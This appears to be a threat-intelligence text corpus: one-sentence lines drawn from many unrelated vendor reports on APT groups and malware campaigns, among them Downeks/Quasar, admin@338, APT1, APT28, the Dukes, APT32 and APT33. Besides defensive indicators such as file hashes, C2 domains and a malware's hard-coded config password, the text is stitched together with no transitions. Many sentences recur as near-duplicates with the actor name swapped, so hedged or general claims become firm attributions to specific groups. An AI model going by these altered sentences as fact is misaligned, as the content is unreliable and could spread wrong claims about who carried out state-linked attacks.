If an intruder compromises a computer that has been onboarded to Windows Defender ATP , SOC personnel can isolate the computer from the network , blocking command and control of the implant and preventing attackers from installing additional malware and moving laterally to other computers in the network .
Meanwhile , connectivity to the Windows Defender ATP service is maintained .
While the machine is in isolation , SOC personnel can direct the infected machine to collect live investigation data , such as the DNS cache or security event logs , which they can use to verify alerts , assess the state of the intrusion , and support follow-up actions .
Another option is to simply halt and quarantine the Winnti implant itself , stopping the intrusion on a single machine .
LEAD and BARIUM are not known for large-scale spear-phishing , so it is unlikely that SOC personnel would have to deal with multiple machines having been compromised by these groups at the same time .
Nevertheless , Windows Defender ATP also supports blocking the implant across the entire enterprise , stopping large-scale intrusions in the early stages .
With the enhanced post-breach detection capabilities of Windows Defender ATP , SOC personnel are able to reduce this period to hours or even minutes , significantly lessening the potential impact of persistent attacker access to their network .
Windows Defender ATP provides extensive information about activity groups responsible for the attacks , enabling customers to understand aspects of the attack that may not be obtained by network and endpoint sensors , such as common social engineering lures and the regional nature of an attack .
With relevant visualized information , analysts are able to study malware behavior on impacted machines , so they can investigate further and plan out their response .
Detecting threat actors in recent German industrial attacks with Windows Defender ATP .
Detecting threat actors in recent German industrial attacks with Windows Defender ATP .
Downeks and Quasar RAT Used in Recent Targeted Attacks Against Governments .
Palo Alto Networks Traps Advanced Endpoint Protection recently prevented recent attacks that we believe are part of a campaign linked to DustySky .
DustySky is a campaign which others have attributed to the Gaza Cybergang group , a group that targets government interests in the region .
This report shares our researchers ’ analysis of the attack and Remote Access Tool ( RAT ) .
We also discovered during our research that the RAT Server used by this attacker is itself vulnerable to remote attack , a double-edged sword for these attackers .
The initial infection vector in this attack is not clear , but it results in installing the “ Downeks ” downloader , which in turn infects the victim computer with the “ Quasar ” RAT .
Downeks uses third party websites to determine the external IP of the victim machine , possibly to determine victim location with GeoIP .
It also drops decoy documents in an attempt to camouflage the attack .
Quasar is a .NET Framework-based open-source RAT .
The attackers invested significant effort in attempting to hide the tool by changing the source code of the RAT and the RAT server , and by using an obfuscator and packer .
Unit 42 researchers observed the Quasar RA being prevented from executing on a Traps-protected client in September 2016 .
We observed these Quasar samples :f-secure.exe : 99a7cb43fb2898810956b6137d803c8f97651e23f9f13e91887f188749bd5e8f connects to hnoor.newphoneapp.com .
HD_Audio.exe : 0c4aa50c95c990d5c5c55345626155b87625986881a2c066ce032af6871c426a connects to manual.newphoneapp.com .
HD_Audio.exe : 86bd78b4c8c94c046d927fb29ae0b944bf2a8513a378b51b3977b77e59a52806 crashes upon execution .
sim.exe 723108103ccb4c166ad9cdff350de6a898489f1dac7eeab23c52cd48b9256a42 connects to hnoor.newphoneapp.com .
Further research found other Quasar examples , an attack earlier in the month 2016 on the same target :SHA256 : 1ac624aaf6bbc2e3b966182888411f92797bd30b6fcce9f8a97648e64f13506f .
We found the same Quasar code in an additional attack on the same day , but upon a different target .
A second Quasar sample was also observed attacking this new victim :SHA256 : 99a7cb43fb2898810956b6137d803c8f97651e23f9f13e91887f188749bd5e8f .
We do not have detailed visibility into the specific host attacked , and have not been able to reproduce the second stage of the attack in our lab .
However , based upon the timeframe of subsequent telemetry we observe , we understand the attack chain as follows :The initial dropper ( which varies across attacks ) is delivered to the victim via email or web :File Name : Joint Ministerial Council between the GCC and the EU Council.exe ” .
SHA256 0d235478ae9cc87b7b907181ccd151b618d74955716ba2dbc40a74dc1cdfc4aa .
The initial dropper , upon execution , extracts an embedded Downeks instance :File Name : ati.exe .
SHA256 f19bc664558177b7269f52edcec74ecdb38ed2ab9e706b68d9cbb3a53c243dec .
Downeks makes a POST request to dw.downloadtesting.com , resulting in the installation of the Quasar RAT on the victim machine .
Additional Downeks downloaders connecting to the previously-observed server dw.downloadtesting.com were also found in this attack :SHA256 15abd32342e87455b73f1e2ecf9ab10331600eb4eae54e1dfc25ba2f9d8c2e8a .
SHA256 9a8d73cb7069832b9523c55224ae4153ea529ecc50392fef59da5b5d1db1c740 .
Further research identified dozens of Dowenks and Quasar samples related to these attackers .
All included decoy document written in Arabic ( all related to Middle Eastern politics ) or Hebrew .
Most of them use the same mutex structure , share the same fake icon and unique metadata details , file writes , registry operations , and fake common program metadata , as seen in DustySky samples .
The Downeks downloader and Quasar C2 infrastructures are each self-contained and independent of each other .
However , we did find a single shared IP address demonstrably connecting the Downeks downloader and Quasar C2 infrastructure .
We saw five samples built on the same date in December 2015 , and six on the same date in January , further solidifying the link between each sample .
We analyzed a Quasar sample we found that was communicating with an active C2 server at the time of analysis :SHA256 : 4393ff391396cdfd229517dd98aa7faecad04da479fe8ca322f035ceee363273 .
Quasar is a publicly-available commodity RAT , an evolution of his earlier xRAT , by German developer “ MaxXor ” .
This sample is a modified version of Quasar , most likely forked from open source version 1.2.0.0 on GitHub .
The client was likely built using the Quasar server client builder .
We observed the following customizations :C2 server : app.progsupdate.com , which resolved to 185.141.25.68 ) , over port 4664 .
Quasar mutex name : VMFvdCsC7RFqerZinfV0sxJFo .
Keylogger log location : Users\hJTQwqwwSCkZU\AppData\Roaming\GoogleDesktop\<date> .
The malware uses fake version information to appear as a Microsoft update program , as well as Google Desktop once unpacked .
This sample is packed by “ Netz ” , a simple .NET Framework packer which stores the original executable compressed ( zlib ) as a resource .
At runtime , the packer decompresses the resource and uses Reflection to load the assembly , find its Entry point , and Invoke it .
Extracting the payload is straight forward – we simply dump the resource and decompress it .
We discovered that the sample was obfuscated using .NET reactor .
It is possible to decompile the deobfuscated sample and retrieve most of the original source code but not enough to compile it easily .
After deobfuscation we extracted :SHA256 : d773b12894d4a0ffb0df328e7e1aa4a7112455e88945a10471650e503eecdb3d .
After decompiling the sample , we were able to document the modifications from the open-source Quasar .
The configuration of Quasar is stored in the Settings object , which is encrypted with a password which is itself stored unencrypted .
The ISCHECKIP and INSTARTUPFOLDER are not found in open source Quasar samples .
The sample we analyzed is using RijndaelManaged with ECB mode and PKCS7 padding .
The key is the SHA256 hash of the hard-coded password .
The password of the sample we analyzed is : “ 6y7u^Y&U6y7u^Y&U6y7u^Y&U ” .
Although at first glance this appears somewhat complex , it is in fact a rather simple , repeated keyboard sequence .
We observe similar keyboard patterns in other samples : “ 567%^& ” , “ zxc!@#ASD ” .
The admin@338 has largely targeted organizations involved in financial , economic and trade policy , typically using publicly available RATs such as Poison Ivy , as well some non-public backdoors .
The admin@338 started targeting Hong Kong media companies , probably in response to political and economic challenges in Hong Kong and China .
Multiple China-based cyber threat groups have targeted international media organizations in the past .
The admin@338 has targeted international media organizations in the past .
In August 2015 , the admin@338 sent spear phishing emails to a number of Hong Kong-based media organizations , including newspapers , radio , and television .
In August 2015 , the threat actors sent spear phishing emails to a number of Hong Kong-based media organizations , including newspapers , radio , and television .
In August 2015 , the admin@338 sent spear phishing emails to a number of Hong Kong-based media organizations .
The admin@338 previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
Once the LOWBALL malware calls back to the Dropbox account , the admin@338 will create a file called upload.bat which contains commands to be executed on the compromised computer .
We observed the admin@338 upload a second stage malware , known as BUBBLEWRAP ( also known as Backdoor.APT.FakeWinHTTPHelper ) to their Dropbox account along with the following command .
We have previously observed the admin@338 group use BUBBLEWRAP .
The LOWBALL first stage malware allows the group to collect information from victims and then deliver the BUBBLEWRAP second stage malware to their victims after verifying that they are indeed interesting targets .
The admin@338 linked to China and alleged to be responsible for targeted attacks against foreign governments and ministries , has now pointed its focus inward at China autonomous territory Hong Kong .
linked to China and alleged to be responsible for targeted attacks against foreign governments and ministries , has now pointed its focus inward at China autonomous territory Hong Kong .
The group targeting Hong Kong media outlets is called admin@338 and is known to researchers for using publicly available remote access Trojans such as Poison Ivy to attack government and financial firms specializing in global economic policy .
The agroup targeting Hong Kong media outlets is called admin@338 and is known to researchers for using publicly available remote access Trojans such as Poison Ivy to attack government and financial firms specializing in global economic policy .
The admin@338 , active since 2008 , has been seen targeting organizations in the financial services , telecoms , government , and defense sectors .
The APT actor , active since 2008 , has been seen targeting organizations in the financial services , telecoms , government , and defense sectors .
In August 2013 , FireEye reported that admin@338 had been using the Poison Ivy RAT in its operations .
In March 2014 , the admin@338 leveraged the disappearance of Malaysia Airlines Flight MH370 to target a government in the Asia-Pacific region and a US-based think tank .
In March 2014 , the group leveraged the disappearance of Malaysia Airlines Flight MH370 to target a government in the Asia-Pacific region and a US-based think tank .
According to FireEye , the admin@338 sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
According to FireEye , the attackers sent out emails containing malicious documents designed to exploit Microsoft Office vulnerabilities in an effort to deliver a piece of malware dubbed LOWBALL .
The admin@338 's Dropbox accounts have also been found to contain a different backdoor dubbed BUBBLEWRAP .
Researchers have pointed out that it is not uncommon for China-based threat groups to target Hong Kong media organizations , particularly ones whose reporting focuses on the pro-democracy movement .
Researchers have pointed out that it is not uncommon for admin@338 to target Hong Kong media organizations , particularly ones whose reporting focuses on the pro-democracy movement .
This week the experts at FireEye discovered that a group of Chinese-based hackers called admin@338 had sent multiple MH370-themed spear phishing emails , the attackers targeted government officials in Asia-Pacific , it is likely for cyber espionage purpose .
The attackers used the popular Poison Ivy RAT and WinHTTPHelper malware to compromise the computers of government officials .
The admin@338 used the popular Poison Ivy RAT and WinHTTPHelper malware to compromise the computers of government officials .
FireEye analysts documented the admin@338 group 's activities in a previous paper titled Poison Ivy : Assessing Damage and Extracting Intelligence paper .
The spear-phishing campaign against Asian entities isn't isolated , the admin@338 also started another attack against the US-based think tank on 14th March .
Our analysis has led us to conclude that APT1 is likely government-sponsored and one of the most persistent of China 's cyber threat actors .
FireEye said it has tracked admin@338 's activity since 2013 and the group has largely targeted organizations involved in financial , economic , and trade policy .
The simplest conclusion based on these facts is that APT1 is operating in China , and most likely in Shanghai .
These data sets show that APT1 is either operating in China during normal Chinese business hours or that APT1 is intentionally going to painstaking lengths to look like they are .
APT1 has used and steadily modified BISCUIT since as early as 2007 and continues to use it presently .
While APT1 intruders occasionally use publicly available backdoors such as Poison Ivy and Gh0st RAT .
Given the mission , resourcing , and location of PLA Unit 61398 , we conclude that PLA Unit 61398 is APT1 .
APT1 were a highly prolific cyber-attack group operating out of China .
APT1 is a China-based cyber-espionage group , active since mid-2006 .
APT12 's targets are consistent with larger People 's Republic of China ( PRC ) goals .
Since the release of the Arbor blog post , FireEye has observed APT12 use a modified backdoor that we call HIGHTIDE .
However , the malware shared several traits with the RIPTIDE and HIGHTIDE backdoor that we have attributed to APT12 .
From October 2012 to May 2014 , FireEye observed APT12 utilizing RIPTIDE , that communicates via HTTP to a hard-coded command and control ( C2 ) server .
Similar to RIPTIDE campaigns , APT12 infects target systems with HIGHTIDE using a Microsoft Word ( .doc ) document that exploits CVE-2012-0158 .
FireEye believes the change from RIPTIDE to HIGHTIDE represents a temporary tool shift to decrease malware detection while APT12 developed a completely new malware toolset .
They have largely targeted organizations involved in financial , economic and trade policy , typically using publicly available RATs such as Poison Ivy , as well some non-public backdoors .
A China-based cyber threat group , which FireEye tracks as an uncategorized advanced persistent threat ( APT ) group and other researchers refer to as admin@338 , may have conducted the activity .
The group previous activities against financial and policy organizations have largely focused on spear phishing emails written in English , destined for Western audiences .
About four months after The New York Times publicized an attack on its network , the APT12 behind the intrusion deployed updated versions of their Backdoor.APT.Aumlib and Backdoor.APT.Ixeshe malware families .
With this in mind , this week we are providing some indicators for a China based adversary who we crypt as " NUMBERED PANDA " Numbered Panda has a long list of high-profile victims and is known by a number of names including : DYNCALC , IXESHE , JOY RAT , APT-12 , etc .
Numbered Panda has a long list of high-profile victims and is known by a number of names including : DYNCALC , IXESHE , JOY RAT , APT-12 , etc .
The new campaigns mark the first significant stirrings from the APT12 since it went silent in January in the wake of a detailed expose of the group and its exploits — and a retooling of what security researchers believe is a massive spying operation based in China .
Between November 26 , 2015 , and December 1 , 2015 , known and suspected China-based APT16 launched several spear phishing attacks targeting Japan and Taiwan in the high-tech , government services , media and financial services industries .
Between November 26 , 2015 , and December 1 , 2015 , known and suspected China-based APT groups launched several spear phishing attacks targeting Japanese and Taiwanese organizations in the high-tech , government services , media and financial services industries .
On November 26 , 2015 , a suspected China-based APT16 sent Japanese defense policy-themed spear phishing emails to multiple Japanese financial and high-tech companies .
On November 26 , 2015 , a suspected China-based APT group sent Japanese defense policy-themed spear phishing emails to multiple Japanese financial and high-tech companies .
While attribution of the first two spear phishing attacks is still uncertain , we attribute the second December phishing campaign to the China-based APT group that we refer to as APT16 .
APT16 actors sent spear phishing emails to two Taiwanese media organizations .
On the same date that APT16 targeted Taiwanese media , suspected Chinese APT actors also targeted a Taiwanese government agency , sending a lure document that contained instructions for registration and subsequent listing of goods on a local Taiwanese auction website .
It is possible , although not confirmed , that APT16 was also responsible for targeting this government agency , given both the timeframe and the use of the same n-day to eventually deploy the ELMER backdoor .
Despite the differing sponsorship , penetration of Hong Kong and Taiwan-based media organizations continues to be a priority for China-based APT16 .
The suspected APT16 targeting of the Taiwanese government agency – in addition to the Taiwanese media organizations – further supports this possibility .
APT17 was embedding the encoded CnC IP address for the BLACKCOFFEE malware in legitimate Microsoft TechNet profiles pages and forum threads , a method some in the information security community call a " dead drop resolver " .
APT17 , also known as DeputyDog , is a China-based threat group that FireEye Intelligence has observed conducting network intrusions against U.S. government entities , the defense industry , law firms , information technology companies , mining companies , and non-government organizations .
FireEye has monitored APT17 's use of BLACKCOFFEE variants since 2013 to masquerade malicious communication as normal web traffic by disguising the CnC communication as queries to web search engines .
The use of BLACKCOFFEE demonstrates APT17 's evolving use of public websites to hide in plain sight .
TG-0416 is a stealthy and extremely successful Advanced Persistent Threat ( APT ) group known to target a broad range of verticals since at least 2009 , including technology , industrial , manufacturing , human rights groups , government , pharmaceutical , and medical technology .
The APT18 then installed the hcdLoader RAT , which installs as a Windows service and provides command line access to the compromised system .
The malware used by the Wekby group has ties to the HTTPBrowser malware family , and uses DNS requests as a command and control mechanism .
These URIs result in the download of an installer , which creates a PE of the malware typically known as HTTPBrowser , but called Token Control by the Wekby group themselves ( based upon the PDB strings found within many of the samples ) .
APT19 seemed to be going after defense sector firms , Chinese dissident groups and political , financial , pharmaceutical and energy sectors that could benefit the Chinese economy .
APT19 seemed to be going after defense sector firms , Chinese dissident groups and other political target , as well as certain financial targets and other commercial targets in pharmaceutical and energy sectors that could benefit the Chinese economy .
FANCY BEAR ( also known as Sofacy or APT 28 ) is a separate Russian-based threat actor , which has been active since mid 2000s , and has been responsible for targeted intrusion campaigns against the Aerospace , Defense , Energy , Government and Media sectors .
APT28 malware , in particular the family of modular backdoors that we call CHOPSTICK , indicates a formal code development environment .
However , three themes in APT28 's targeting clearly reflects areas of specific interest to an Eastern European government , most likely the Russian government .
We identified three themes in APT28 's lures and registered domains , which together are particularly relevant to the Russian government .
Georgian military security issues , particularly with regard to U.S. cooperation and NATO , provide a strong incentive for Russian state-sponsored threat actors to steal information that sheds light on these topics .
Instead , we observed the two Russian espionage groups compromise the same systems and engage separately in the theft of identical credentials .
APT28 's malware settings suggest that the developers have done the majority of their work in a Russian language build environment during Russian business hours , which suggests that the Russian government is APT28 's sponsor .
We believe that APT28 's targeting of the MOD aligns with Russian threat perceptions .
We assess that APT28 is most likely sponsored by the Russian government .
Given the available data , we assess that APT28 's work is sponsored by the Russian government .
The targets were similar to a 2015 TG-4127 campaign — individuals in Russia and the former Soviet states , current and former military and government personnel in the U.S. and Europe , individuals working in the defense and government supply chain , and authors and journalists — but also included email accounts linked to the November 2016 United States presidential election .
The targets of TG-4127 include military , government and defense sectors .
Some of APT28 's more commonly used tools are the SOURFACE downloader , its second stage backdoor EVILTOSS , and a modular family of implants that we call CHOPSTICK .
While TG-4127 continues to primarily threaten organizations and individuals operating in Russia and former Soviet states , this campaign illustrates its willingness to expand its scope to other targets that have intelligence of interest to the Russian government .
CTU researchers assess with moderate confidence that the group is operating from the Russian Federation and is gathering intelligence on behalf of the Russian government .
This intelligence has been critical to protecting and informing our clients , exposing this threat , and strengthening our confidence in attributing APT28 to the Russian Government .
Our visibility into the operations of APT28 - a group we believe the Russian Government sponsors - has given us insight into some of the government 's targets , as well as its objectives and the activities designed to further them .
Since at least 2007 , APT28 has engaged in extensive operations in support of Russian strategic interests .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments , militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian Government .
APT28 espionage activity has primarily targeted entities in the U.S. , Europe , and the countries of the former Soviet Union , including governments and militaries , defense attaches , media entities , and dissidents and figures opposed to the current Russian Government .
Over the past two years , Russia appears to have increasingly leveraged APT28 to conduct information operations commensurate with broader strategic military doctrine .
After compromising a victim organization , APT28 will steal internal data that is then leaked to further political narratives aligned with Russian interests .
After compromising a political organization , APT28 will steal internal data .
On December 29 , 2016 , the Department of Homeland Security ( DHS ) and Federal Bureau of Investigation ( FBI ) released a Joint Analysis Report confirming FireEye 's long held public assessment that the Russian Government sponsors APT28 .
In October 2014 , FireEye released APT28 : A Window into Russia 's Cyber Espionage Operations , and characterized APT28 's activity as aligning with the Russian Government 's strategic intelligence requirements .
In October 2014 , FireEye released APT28 : A Window into Russia 's Cyber Espionage Operations' , and characterized APT28 's activity as aligning with the Russian Government 's strategic intelligence requirements .
APT28 targets Russian rockers and dissidents Pussy Riot via spear-phishing emails .
Our investigation of APT28 's compromise of WADA 's network , and our observations of the surrounding events reveal how Russia sought to counteract a damaging narrative and delegitimize the institutions leveling criticism .
Since releasing our 2014 report , we continue to assess that APT28 is sponsored by the Russian Government .
In our 2014 report , we identified APT28 as a suspected Russian government-sponsored espionage actor .
For full details , please reference our 2014 report , APT28 : A Window into Russia 's Cyber Espionage OperationsThe espionage group , which according to the U.S. Department of Homeland Security ( DHS ) and the Federal Bureau of Investigation ( FBI ) is linked to the Russian government , returned to low-key intelligence-gathering operations during 2017 and into 2018 , targeting a range of military and government targets in Europe and South America .
The APT28 , which is linked to the Russian government , returned to low-key intelligence-gathering operations during 2017 and into 2018 , targeting a range of military and government targets in Europe and South America .
Another attack group , Earworm ( aka Zebrocy ) , has been active since at least May 2016 and is involved in what appears to be intelligence gathering operations against military targets in Europe , Central Asia , and Eastern Asia .
Several sources consider APT28 a group of CyberMercs based in Russia .
The primary targets of APT28 are potential victims in several countries such as Ukraine , Spain , Russia , Romania , the United States and Canada .
We have reasons to believe that the operators of the APT28 network are either Russian citizens or citizens of a neighboring country that speak Russian .
Previous work published by security vendor FireEye in October 2014 suggests the group might be of Russian origin .
Finally , the use of recent domestic events and a prominent US military exercise focused on deterring Russian aggression highlight APT28 's ability and interest in exploiting geopolitical events for their operations .
In 2013 , the Sofacy group expanded their arsenal and added more backdoors and tools , including CORESHELL , SPLM , JHUHUGIT , AZZY and a few others .
In 2013 , the Sofacy group expanded their arsenal and added more backdoors and tools , including CORESHELL , SPLM ( aka Xagent , aka CHOPSTICK ) , JHUHUGIT ( which is built with code from the Carberp sources ) , AZZY ( aka ADVSTORESHELL , NETUI , EVILTOSS , and spans across 4-5 generations ) and a few others .
The Sofacy group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
APT28 spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
The group spearphished targets in several waves with Flash exploits leading to their Carberp based JHUHUGIT downloaders and further stages of malware .
Their evolving and modified SPLM , CHOPSTICK , XAgent code is a long-standing part of Sofacy activity , however much of it is changing .
FireEye has moderate confidence that a campaign targeting the hospitality sector is attributed to Russian actor APT28 .
APT28 is using novel techniques involving the EternalBlue exploit and the open source tool Responder to spread laterally through networks and likely target travelers .
Upon gaining access to the machines connected to corporate and guest Wi-Fi networks , APT28 deployed Responder .
Compared to other backdoor tools associated with the Sofacy group , the use of Zebrocy in attack campaigns is far more widespread .
As alluded to in our previous blog regarding the Cannon tool , the Sofacy group ( AKA Fancy Bear , APT28 , STRONTIUM , Pawn Storm , Sednit ) has persistently attacked various government and private organizations around the world from mid-October 2018 through mid-November 2018 .
Russian citizens—journalists , software developers , politicians , researchers at universities , and artists are also targeted by Pawn Storm .
The JHUHUGIT implant became a relatively popular first stage for the Sofacy attacks and was used again with a Java zero-day ( CVE-2015-2590 ) in July 2015 .
While the JHUHUGIT ( and more recently , " JKEYSKW " ) implant used in most of the Sofacy attacks , high profile victims are being targeted with another first level implant , representing the latest evolution of their AZZY Trojan .
Once a foothold is established , Sofacy trys to upload more backdoors , USB stealers as well as other hacking tools such as " Mimikatz " for lateral movement .
Once a foothold is established , they try to upload more backdoors , USB stealers as well as other hacking tools such as " Mimikatz " for lateral movement .
The Sofacy threat group continues to target government organizations in the EU , US , and former Soviet states to deliver the Zebrocy tool as a payload .
Of note , we also discovered the Sofacy group using a very similar delivery document to deliver a new Trojan called Cannon .
Komplex shares a significant amount of functionality and traits with another tool used by Sofacy – the Carberp variant that Sofacy had used in previous attack campaigns on systems running Windows .
The Sofacy group created the Komplex Trojan to use in attack campaigns targeting the OS X operating system – a move that showcases their continued evolution toward multi-platform attacks .
The Komplex Trojan revealed a design similar to Sofacy 's Carberp variant Trojan , which we believe may have been done in order to handle compromised Windows and OS X systems using the same C2 server application with relative ease .
This whitepaper explores the tools - such as MiniDuke , CosmicDuke , OnionDuke , CozyDuke , etc- of the Dukes , a well-resourced , highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making .
The Dukes are a well-resourced , highly dedicated and organized cyberespionage group that we believe has been working for the Russian Federation since at least 2008 to collect intelligence in support of foreign and security policy decision-making .
The Dukes are known to employ a vast arsenal of malware toolsets , which we identify as MiniDuke , CosmicDuke , OnionDuke , CozyDuke , CloudDuke , SeaDuke , HammerDuke , PinchDuke , and GeminiDuke .
The origins of the Duke toolset names can be traced back to when researchers at Kaspersky Labs coined the term " MiniDuke " to identify the first Duke-related malware they found .
As researchers continued discovering new toolsets that were created and used by the same group that had been operating MiniDuke , and thus the threat actor operating the toolsets started to be commonly referred to as " Dukes " .
Based on the campaign identifiers found in PinchDuke samples discovered from 2009 , the targets of the Dukes group during that year included organizations such as the Ministry of Defense of Georgia and the ministries of foreign affairs of Turkey and Uganda .
Importantly , PinchDuke trojan samples always contain a notable text string , which we believe is used as a campaign identifier by the Dukes group to distinguish between multiple attack campaigns that are run in parallel .
This neatly ties together many of the tools used by the Dukes group , as versions of this one loader have been used to load malware from three different Dukes-related toolsets CosmicDuke , PinchDuke , and MiniDuke – over the course of five years .
The Dukes continued the expansion of their arsenal in 2011 with the addition of two more toolsets : MiniDuke and CozyDuke .
As we now know , by February 2013 the Dukes group had been operating MiniDuke and other toolsets for at least 4 and a half years .
Secondly , the value the Dukes intended to gain from these MiniDuke campaigns may have been so great that they deemed it worth the risk of getting noticed .
This is in stark contrast to some other suspected Russian threat actors ( such as Operation Pawn Storm ) who appear to have increased their targeting of Ukraine following the crisis .
The Dukes actively targeted Ukraine before the crisis , at a time when Russia was still weighing her options , but once Russia moved from diplomacy to direct action , Ukraine was no longer relevant to the Dukes in the same way .
In the latter case however , the Dukes group appear to have also simultaneously developed an entirely new loader , which we first observed being used in conjunction with CosmicDuke during the spring of 2015 .
The Dukes could have ceased all use of CosmicDuke ( at least until they had developed a new loader ) or retired it entirely , since they still had other toolsets available .
For these CozyDuke campaigns however , the Dukes appear to have employed two particular later-stage toolsets , SeaDuke and HammerDuke .
Firstly , as with the MiniDuke campaigns of February 2013 and CosmicDuke campaigns in the summer of 2014 , again the group clearly prioritized the continuation of their operations over maintaining stealth .
In addition to the notably overt and large-scale campaigns with CozyDuke and CloudDuke , the Dukes also continued to engage in more covert , surgical campaigns using CosmicDuke .
We are however only aware of one instance - the exploitation of CVE-2013-0640 to deploy MiniDuke - where we believe the exploited vulnerability was a zero-day at the time that the group acquired the exploit .
All of the available evidence however does in our opinion suggest that the group operates on behalf of the Russian Federation .
This assertion of time zone is also supported by timestamps found in many GeminiDuke samples , which similarly suggest the group work in the Moscow Standard Time timezone , as further detailed in the section on the technical analysis of GeminiDuke .
Mandiant has observed Russian nation-state attackers APT29 employing domain fronting techniques for stealthy backdoor access to victim environments for at least two years .
APT29 has used The Onion Router and the TOR domain fronting plugin meek to create a hidden , encrypted network tunnel that appeared to connect to Google services over TLS .
Mandiant has observed APT29 using a stealthy backdoor that we call POSHSPY .
Mandiant has since identified POSHSPY in several other environments compromised by APT29 over the past two years .
In the investigations Mandiant has conducted , it appeared that APT29 deployed POSHSPY as a secondary backdoor for use if they lost access to their primary backdoors .
POSHSPY is an excellent example of the skill and craftiness of APT29 .
FireEye assesses that APT32 leverages a unique suite of fully-featured malware , in conjunction with commercially-available tools , to conduct targeted operations that are aligned with Vietnamese state interests .
In addition to focused targeting of the private sector with ties to Vietnam , APT32 has also targeted foreign governments , as well as Vietnamese dissidents and journalists since at least 2013 .
From 2016 through 2017 , two subsidiaries of U.S. and Philippine consumer products corporations , located inside Vietnam , were the target of APT32 intrusion operations .
From 2016 through 2017 , two consumer products corporations , located inside Vietnam , were the target of APT32 intrusion operations .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe , " which targeted dissident activity among the Vietnamese diaspora in Southeast Asia .
In 2015 and 2016 , two Vietnamese media outlets were targeted with malware that FireEye assesses to be unique to APT32 .
In 2014 , APT32 leveraged a spear-phishing attachment titled " Plans to crackdown on protesters at the Embassy of Vietnam.exe " .
Since at least 2014 , FireEye has observed APT32 targeting foreign corporations with a vested interest in Vietnam 's manufacturing , consumer products , and hospitality sectors .
APT32 operations are characterized through deployment of signature malware payloads including WINDSHIELD , KOMPROGO , SOUNDBITE , and PHOREAL .
In 2017 , social engineering content in lures used by the actor provided evidence that they were likely used to target members of the Vietnam diaspora in Australia as well as government employees in the Philippines .
APT32 often deploys these backdoors along with the commercially-available Cobalt Strike BEACON backdoor .
APT32 often deploys these backdoors along with the commercially-available Cobalt Strike backdoor .
Based on incident response investigations , product detections , and intelligence observations along with additional publications on the same operators , FireEye assesses that APT32 is a cyber espionage group aligned with Vietnamese government interests .
OceanLotus , also known as APT32 , is believed to be a Vietnam-based APT group that has become increasingly sophisticated in its attack tactics , techniques , and procedures ( TTPs ) .
While Volexity does not typically engage in attempting attribution of any threat actor , Volexity does agree with previously reported assessments that OceanLotus is likely operating out of Vietnam .
During that phase , the APT32 operated a fileless PowerShell-based infrastructure , using customized PowerShell payloads taken from known offensive frameworks such as Cobalt Strike , PowerSploit and Nishang .
However , over the past few years , we have been tracking a separate , less widely known suspected Iranian group with potential destructive capabilities , whom we call APT33 .
Our analysis reveals that APT33 is a capable group that has carried out cyber espionage operations since at least 2013 .
We assess APT33 works at the behest of the Iranian government .
APT33 has targeted organizations – spanning multiple industries – headquartered in the United States , Saudi Arabia and South Korea .
Cybereason also attributes the recently reported Backdoor.Win32.Denis to the OceanLotus Group , which at the time of this report 's writing , had not been officially linked to this threat actor .
APT33 has shown particular interest in organizations in the aviation sector , as well as organizations in the energy sector with ties to petrochemical production .
From mid-2016 through early 2017 , APT33 compromised a U.S. organization in the aerospace sector and targeted a business conglomerate located in Saudi Arabia with aviation holdings .
From mid-2016 through early 2017 , APT33 compromised organizations located in Saudi Arabia and U.S. in the aerospace sector .
During the same time period , APT33 also targeted companies in South Korea involved in oil refining and petrochemicals .
More recently , in May 2017 , APT33 appeared to target a Saudi organization and a South Korean business conglomerate using a malicious file that attempted to entice victims with job vacancies for a Saudi Arabian petrochemical company .
More recently , in May 2017 , APT33 appeared to target organizations in Saudi and South Korea using a malicious file that attempted to entice victims with job vacancies .
We assess the targeting of multiple companies with aviation-related partnerships to Saudi Arabia indicates that APT33 may possibly be looking to gain insights on Saudi Arabia 's military aviation capabilities to enhance Iran 's domestic aviation capabilities or to support Iran 's military and strategic decision making vis a vis Saudi Arabia .
APT33 may possibly be looking to gain insights on Saudi Arabia 's military aviation capabilities to enhance Iran 's domestic aviation capabilities or to support Iran 's military and strategic decision making vis a vis Saudi Arabia .
The generalized targeting of organizations involved in energy and petrochemicals mirrors previously observed targeting by other suspected Iranian threat groups , indicating a common interest in the sectors across Iranian actors .
APT33 sent spear phishing emails to employees whose jobs related to the aviation industry .
APT33 registered multiple domains that masquerade as Saudi Arabian aviation companies and Western organizations that together have partnerships to provide training , maintenance and support for Saudi 's military and commercial fleet .
We identified APT33 malware tied to an Iranian persona who may have been employed by the Iranian government to conduct cyber threat activity against its adversaries .
APT33 's targeting of organizations involved in aerospace and energy most closely aligns with nation-state interests , implying that the threat actor is most likely government sponsored .
APT33 leverages popular Iranian hacker tools and DNS servers used by other suspected Iranian threat groups .
This coupled with the timing of operations – which coincides with Iranian working hours – and the use of multiple Iranian hacker tools and name servers bolsters our assessment that APT33 may have operated on behalf of the Iranian government .
The publicly available backdoors and tools utilized by APT33 – including NANOCORE , NETWIRE , and ALFA Shell – are all available on Iranian hacking websites , associated with Iranian hackers , and used by other suspected Iranian threat groups .
APT33 's focus on aviation may indicate the group 's desire to gain insight into regional military capabilities to enhance Iran 's aviation capabilities or to support Iran 's military and strategic decision making .
Specifically , the targeting of organizations in the aerospace and energy sectors indicates that the APT33 is likely in search of strategic intelligence capable of benefitting a government or military sponsor .
APT33 's focus on aviation may indicate the group 's desire to gain insight into regional military aviation capabilities to enhance Iran 's aviation capabilities or to support Iran 's military and strategic decision making .
We expect APT33 activity will continue to cover a broad scope of targeted entities , and may spread into other regions and sectors as Iranian interests dictate .
The Elfin espionage group ( aka APT33 ) has remained highly active over the past three years , attacking at least 50 organizations in Saudi Arabia , the United States , and a range of other countries .
On May 16 , 2019 FireEye 's Advanced Practices team attributed the remaining " suspected APT33 activity " ( referred to as GroupB in this blog post ) to APT33 , operating at the behest of the Iranian government .
